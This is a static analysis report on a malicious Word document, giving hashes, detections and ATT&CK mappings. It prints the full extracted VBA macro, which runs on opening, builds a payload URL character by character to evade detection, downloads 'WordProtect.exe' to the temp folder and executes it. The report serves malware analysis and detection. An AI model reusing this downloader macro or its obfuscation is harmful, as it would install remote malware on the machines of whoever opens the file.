Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bb2b7f57832b7bc3…

MALICIOUS

Office (OOXML)

19.4 KB Created: 2015-06-01 21:37:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-06-09
MD5: 3198d32c9a1061604bd2929e6a99fa7a SHA-1: b661cb31c7ddcd8b88520b3bc0d5c19ce07ca5fb SHA-256: bb2b7f57832b7bc36edfeb4adf74fd6761e1a866b8e0c520cfb5b33338516e63
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro utilizes URLDownloadToFileA to download a second-stage executable from "http://a.pomf.se/zbwkgq.exe" and saves it as "WordProtect.exe" in the user's temporary directory. Subsequently, it attempts to execute this downloaded file using the Shell function. The presence of the Document_Open macro and the URLDownloadToFileA function strongly indicate a downloader pattern.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell AYKROPAW, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal LXRBVWPR As Long, ByVal BQYYEIPI As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        AYKROPAW = Environ("Temp") & "\" & "WordProtect.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1446 bytes
SHA-256: 17d27f5ff6477d48e34ab347e7181009b3e5b36ca290482a7ac7e199155cc54a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal LXRBVWPR As Long, ByVal BQYYEIPI As String, _
    ByVal LMOFLVCX As String, _
    ByVal DXMAZHIK As Long, ByVal AUFQXZAO As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal LXRBVWPR As Long, ByVal BQYYEIPI As String, _
    ByVal LMOFLVCX As String, _
    ByVal DXMAZHIK As Long, ByVal AUFQXZAO As Long)

#End If


Sub Document_Open()
    XMIZTWYA
End Sub

Sub XMIZTWYA()
    UAMMBPLI = "a.pomf.se/zbwkgq"
    AYKROPAW = Environ("Temp") & "\" & "WordProtect.exe"
    
    UAMMBPLI0 = "h"
    UAMMBPLI0 = UAMMBPLI0 + "t"
    UAMMBPLI0 = UAMMBPLI0 + "t"
    UAMMBPLI0 = UAMMBPLI0 + "p"
    UAMMBPLI0 = UAMMBPLI0 + ":"
    UAMMBPLI0 = UAMMBPLI0 + "/"
    UAMMBPLI0 = UAMMBPLI0 + "/"
    UAMMBPLI0 = UAMMBPLI0 + UAMMBPLI
    UAMMBPLI0 = UAMMBPLI0 + "."
    UAMMBPLI0 = UAMMBPLI0 + "e"
    UAMMBPLI0 = UAMMBPLI0 + "x"
    UAMMBPLI0 = UAMMBPLI0 + "e"

    URLDownloadToFileA 0, UAMMBPLI0, _
    AYKROPAW, 0, 0

    If Len(Dir(AYKROPAW)) > 0 Then
        Shell AYKROPAW, vbNormalFocus
    End If

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 792ba1ea4446cc06ef52d77fed3906a821c3227e721ded080d352d5e5debc36f
Detection
ClamAV: Doc.Downloader.Generic-6754310-0
Obfuscation or payload: unlikely

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